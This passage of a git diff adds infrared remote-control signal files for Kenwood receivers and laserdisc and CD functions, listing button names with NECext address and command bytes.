parsed +protocol: NECext +address: 01 00 00 00 +command: 52 00 00 00 +# +name: VCR1_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 53 00 00 00 +# +name: VCR1_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 54 00 00 00 +# +name: VCR1_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 55 00 00 00 +# +name: VCR1_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 56 00 00 00 +# +name: VCR1_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 57 00 00 00 +# +name: VCR1_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 58 00 00 00 +# +name: VCR1_REC +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 6C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/12,-1.ir new file mode 100644 index 000000000..206648456 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/12,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: LD_1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 01 00 00 00 +# +name: LD_2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 02 00 00 00 +# +name: LD_3 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 03 00 00 00 +# +name: LD_4 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 04 00 00 00 +# +name: LD_5 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 05 00 00 00 +# +name: LD_6 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 06 00 00 00 +# +name: LD_7 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 07 00 00 00 +# +name: LD_8 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 08 00 00 00 +# +name: LD_9 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 09 00 00 00 +# +name: LD_0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0A 00 00 00 +# +name: LD_POWER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 16 00 00 00 +# +name: LD_>>_(TUNING_>>) +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 21 00 00 00 +# +name: LD_PLAY_>_(P.CALL) +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 22 00 00 00 +# +name: LD_<<_(TUNING_<<) +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 23 00 00 00 +# +name: LD_PAUSE_(AUTO) +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: LD_STOP_(BAND) +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 27 00 00 00 +# +name: LD_SEARCH_>>_(ANY_^) +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2A 00 00 00 +# +name: LD_SEARCH_<<_(ANY_V) +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2B 00 00 00 +# +name: LD_OPEN/CLOSE_(REC) +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 33 00 00 00 +# +name: LD_+10 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 38 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/182,75.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/182,75.ir new file mode 100644 index 000000000..3195a00b3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/182,75.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: LD_0 +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 00 00 00 00 +# +name: LD_1 +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 01 00 00 00 +# +name: LD_2 +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 02 00 00 00 +# +name: LD_3 +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 03 00 00 00 +# +name: LD_4 +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 04 00 00 00 +# +name: LD_5 +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 05 00 00 00 +# +name: LD_6 +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 06 00 00 00 +# +name: LD_7 +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 07 00 00 00 +# +name: LD_8 +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 08 00 00 00 +# +name: LD_9 +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 09 00 00 00 +# +name: LD_+10 +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 0A 00 00 00 +# +name: LD_FUNCTION +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 10 00 00 00 +# +name: LD_STOP +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 11 00 00 00 +# +name: LD_PAUSE +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 12 00 00 00 +# +name: LD_SCAN_<< +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 14 00 00 00 +# +name: LD_SCAN_>> +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 15 00 00 00 +# +name: LD_ANY_V +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 16 00 00 00 +# +name: LD_ANY_^ +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 17 00 00 00 +# +name: LD_ENTER +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 19 00 00 00 +# +name: LD_PLAY +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 9A 00 00 00 +# +name: LD_POWER +type: parsed +protocol: NECext +address: B6 4B 00 00 +command: 9D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,-1.ir new file mode 100644 index 000000000..ee1149a0e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Receiver/184,-1.ir @@ -0,0 +1,1790 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_SCAN_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 06 00 00 00 +# +name: CD/LD_SCAN_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 06 00 00 00 +# +name: CD_ANY_V +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 06 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 06 00 00 00 +# +name: CD_SCAN_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 07 00 00 00 +# +name: CD/LD_SCAN_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 07 00 00 00 +# +name: CD_ANY_^ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 07 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 07 00 00 00 +# +name: CD_DISC +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 08 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 08 00 00 00 +# +name: CD_DISC_SKIP_(AUTO) +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 08 00 00 00 +# +name: CD_FUNCTION +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 08 00 00 00 +# +name: CENTER_LEVEL_V +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0A 00 00 00 +# +name: AUDIO_REV_PLAY_< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0A 00 00 00 +# +name: SURROUND_CENTER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0B 00 00 00 +# +name: CENTER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0B 00 00 00 +# +name: CENTER_LEVEL_^ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0B 00 00 00 +# +name: AUDIO_PLAY_> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0B 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0D 00 00 00 +# +name: TUNER/CD_+10 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0D 00 00 00 +# +name: CD_+10 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0D 00 00 00 +# +name: TUNER/CD/LD_+10 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0D 00 00 00 +# +name: CD/AUDIO_+10 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0D 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0D 00 00 00 +# +name: EQ_EFFECT +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0F 00 00 00 +# +name: EQUALIZER_EFFECT +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 0F 00 00 00 +# +name: M +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 1C 00 00 00 +# +name: MENU_ON_SCREEN +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 1D 00 00 00 +# +name: M1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 40 00 00 00 +# +name: M2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 41 00 00 00 +# +name: SURROUND_MEMORY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 44 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 44 00 00 00 +# +name: MEMO +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 44 00 00 00 +# +name: SURROUND_M.CALL +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 45 00 00 00 +# +name: M.CALL +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 45 00 00 00 +# +name: M_1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 45 00 00 00 +# +name: M_2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 46 00 00 00 +# +name: M_3 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 47 00 00 00 +# +name: DELAY_TIME_V +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 4C 00 00 00 +# +name: AUDIO_ANY_V +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 4C 00 00 00 +# +name: V_DELAY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 4C 00 00 00 +# +name: SURROUND_DELAY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 4D 00 00 00 +# +name: DELAY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 4D 00 00 00 +# +name: DELAY_TIME_^ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 4D 00 00 00 +# +name: AUDIO_ANY_^ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 4D 00 00 00 +# +name: CENTER_MODE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 55 00 00 00 +# +name: SURROUND_TONE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 56 00 00 00 +# +name: TEST_TONE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 56 00 00 00 +# +name: TEST_TONE_ON/OFF +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 56 00 00 00 +# +name: SURROUND_TEST_ZONE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 56 00 00 00 +# +name: AUDIO_FUNCTION +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 56 00 00 00 +# +name: ON/OFF_TEST_TONE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 56 00 00 00 +# +name: TEST_TONE_MODE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 57 00 00 00 +# +name: MODE_TEST_TONE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 57 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 59 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 80 00 00 00 +# +name: TUNER/CD_0 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 80 00 00 00 +# +name: CD_0 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 80 00 00 00 +# +name: TUNER/CD/LD_0 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 80 00 00 00 +# +name: CD/AUDIO_0 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 80 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 81 00 00 00 +# +name: TUNER/CD_1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 81 00 00 00 +# +name: CD_1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 81 00 00 00 +# +name: TUNER/CD/LD_1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 81 00 00 00 +# +name: CD/AUDIO_1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 81 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 82 00 00 00 +# +name: TUNER/CD_2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 82 00 00 00 +# +name: CD_2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 82 00 00 00 +# +name: TUNER/CD/LD_2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 82 00 00 00 +# +name: CD/AUDIO_2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 82 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 83 00 00 00 +# +name: TUNER/CD_3 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 83 00 00 00 +# +name: CD_3 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 83 00 00 00 +# +name: TUNER/CD/LD_3 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 83 00 00 00 +# +name: CD/AUDIO_3 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 83 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 84 00 00 00 +# +name: TUNER/CD_4 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 84 00 00 00 +# +name: CD_4 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 84 00 00 00 +# +name: TUNER/CD/LD_4 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 84 00 00 00 +# +name: CD/AUDIO_4 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 84 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 85 00 00 00 +# +name: TUNER/CD_5 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 85 00 00 00 +# +name: CD_5 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 85 00 00 00 +# +name: TUNER/CD/LD_5 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 85 00 00 00 +# +name: CD/AUDIO_5 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 85 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 86 00 00 00 +# +name: TUNER/CD_6 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 86 00 00 00 +# +name: CD_6 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 86 00 00 00 +# +name: TUNER/CD/LD_6 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 86 00 00 00 +# +name: CD/AUDIO_6 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 86 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 87 00 00 00 +# +name: TUNER/CD_7 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 87 00 00 00 +# +name: CD_7 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 87 00 00 00 +# +name: TUNER/CD/LD_7 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 87 00 00 00 +# +name: CD/AUDIO_7 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 87 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 88 00 00 00 +# +name: TUNER/CD_8 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 88 00 00 00 +# +name: CD_8 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 88 00 00 00 +# +name: TUNER/CD/LD_8 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 88 00 00 00 +# +name: CD/AUDIO_8 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 88 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 89 00 00 00 +# +name: TUNER/CD_9 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 89 00 00 00 +# +name: CD_9 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 89 00 00 00 +# +name: TUNER/CD/LD_9 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 89 00 00 00 +# +name: CD/AUDIO_9 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 89 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8A 00 00 00 +# +name: TUNER_P.CALL_V +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8C 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8C 00 00 00 +# +name: TUNER_P.SCAN_V +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8C 00 00 00 +# +name: P.CALL_V +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8C 00 00 00 +# +name: RCVR_P.CALL_< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8C 00 00 00 +# +name: PRESET_DOWN +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8C 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8E 00 00 00 +# +name: TUNER_BAND +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8F 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8F 00 00 00 +# +name: RCVR_BAND +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8F 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8F 00 00 00 +# +name: AM-FM +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 8F 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 90 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 91 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 92 00 00 00 +# +name: CD/LD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 92 00 00 00 +# +name: VIDEO2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 93 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 93 00 00 00 +# +name: TAPE1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 94 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 94 00 00 00 +# +name: TAPE2/MONITOR +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 95 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 95 00 00 00 +# +name: TAPE2_(MONITOR) +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 95 00 00 00 +# +name: TAPE2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 95 00 00 00 +# +name: TAPE_2_(MONITOR) +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 95 00 00 00 +# +name: VIDEO1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 96 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 96 00 00 00 +# +name: TUNER_P.CALL +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 99 00 00 00 +# +name: TUNER_P.SCAN +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 99 00 00 00 +# +name: TUNER_P.CALL_^ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 99 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 99 00 00 00 +# +name: P.SCAN +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 99 00 00 00 +# +name: TUNER_P.SCAN_^ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 99 00 00 00 +# +name: P.CALL_^ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 99 00 00 00 +# +name: RCVR_P.CALL_> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 99 00 00 00 +# +name: PRESET_UP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 99 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9A 00 00 00 +# +name: VOLUME_CONTROL_V +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9A 00 00 00 +# +name: VOLUME_CTRL_V +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9A 00 00 00 +# +name: MAIN_VOLUME_V +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9A 00 00 00 +# +name: VOL_CONTROL_V +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9A 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9A 00 00 00 +# +name: VOL_DOWN +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9A 00 00 00 +# +name: VOLUME+ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9B 00 00 00 +# +name: VOLUME_CONTROL_^ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9B 00 00 00 +# +name: VOLUME_CTRL_^ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9B 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9B 00 00 00 +# +name: MAIN_VOLUME_^ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9B 00 00 00 +# +name: VOL_CONTROL_^ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9B 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9B 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9B 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9C 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9C 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: RCVR_POWER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: CD/AUDIO_POWER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: AUDIO_POWER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: CDOE2_POWER_OFF +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: CODE_5_POWER_ON +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: CODE2_POWER_ON +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: CODE5_POWER_OFF +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: TUNER_DIRECT +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9E 00 00 00 +# +name: DIRECT +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9E 00 00 00 +# +name: 1-10/11-20 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9F 00 00 00 +# +name: PHONO_STOP_[] +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C0 00 00 00 +# +name: PHONO_R.PLAY_< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C1 00 00 00 +# +name: PHONO_PLAY_< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C1 00 00 00 +# +name: EQ_M.CALL +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C5 00 00 00 +# +name: EQ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C5 00 00 00 +# +name: EQUALIZER_M.CALL +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C5 00 00 00 +# +name: REAR_LEVEL_V +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C6 00 00 00 +# +name: AUDIO_SKIP_REV_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C6 00 00 00 +# +name: SURROUND_REAR +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C7 00 00 00 +# +name: REAR +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C7 00 00 00 +# +name: REAR_LEVEL_^ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C7 00 00 00 +# +name: AUDIO_SKIP_FWD>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C7 00 00 00 +# +name: CD_STOP_[] +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C9 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C9 00 00 00 +# +name: CD_STOP_(BAND) +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C9 00 00 00 +# +name: CD/LD_STOP_[] +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C9 00 00 00 +# +name: CD_PLAY/PAUSE_>/ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CB 00 00 00 +# +name: CD_PLAY/PAUSE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CB 00 00 00 +# +name: CD_PLAY_>/ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CB 00 00 00 +# +name: CD/LD_PLAY/PA._>/ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CB 00 00 00 +# +name: CD_PLAY_> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CB 00 00 00 +# +name: PLAY/PAUSE_>/ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CB 00 00 00 +# +name: CD_SKIP_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CE 00 00 00 +# +name: CD_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CE 00 00 00 +# +name: CD_SKIP_REV_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CE 00 00 00 +# +name: CD_<<_(TUNING_<<) +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CE 00 00 00 +# +name: CD/LD_SKIP_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CE 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CE 00 00 00 +# +name: CD_SKIP_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CF 00 00 00 +# +name: CD_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CF 00 00 00 +# +name: CD_SKIP_FWD_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CF 00 00 00 +# +name: CD_>>(TUNING_>>) +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CF 00 00 00 +# +name: CD/LD_SKIP_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CF 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CF 00 00 00 +# +name: TAPEA_R.PLAY_< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D0 00 00 00 +# +name: TAPEA_REV_PLAY_< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D0 00 00 00 +# +name: TAPE_A_REV_PLAY_< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D0 00 00 00 +# +name: TAPE_A_R.PLAY_< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D0 00 00 00 +# +name: TAPE_A_PLAY_REV +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D0 00 00 00 +# +name: A_PLAY_R._< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D0 00 00 00 +# +name: TAPEA_PLAY_> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D1 00 00 00 +# +name: TAPE_A_PLAY_> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D1 00 00 00 +# +name: TAPE_A_PLAY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D1 00 00 00 +# +name: A_PLAY_> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D1 00 00 00 +# +name: TAPEA_REW_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D2 00 00 00 +# +name: TAPEA_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D2 00 00 00 +# +name: TAPE_A_REW_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D2 00 00 00 +# +name: TAPEA_<<_(TUNING_<<) +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D2 00 00 00 +# +name: TAPE_A_REW_I<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D2 00 00 00 +# +name: A_REW_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D2 00 00 00 +# +name: TAPEA_FFWD_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D3 00 00 00 +# +name: TAPEA_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D3 00 00 00 +# +name: TAPEA_FF_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D3 00 00 00 +# +name: TAPE_A_FF_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D3 00 00 00 +# +name: TAPEA_>>_(TUNING_>>) +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D3 00 00 00 +# +name: TAPE_A_FFWD_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D3 00 00 00 +# +name: 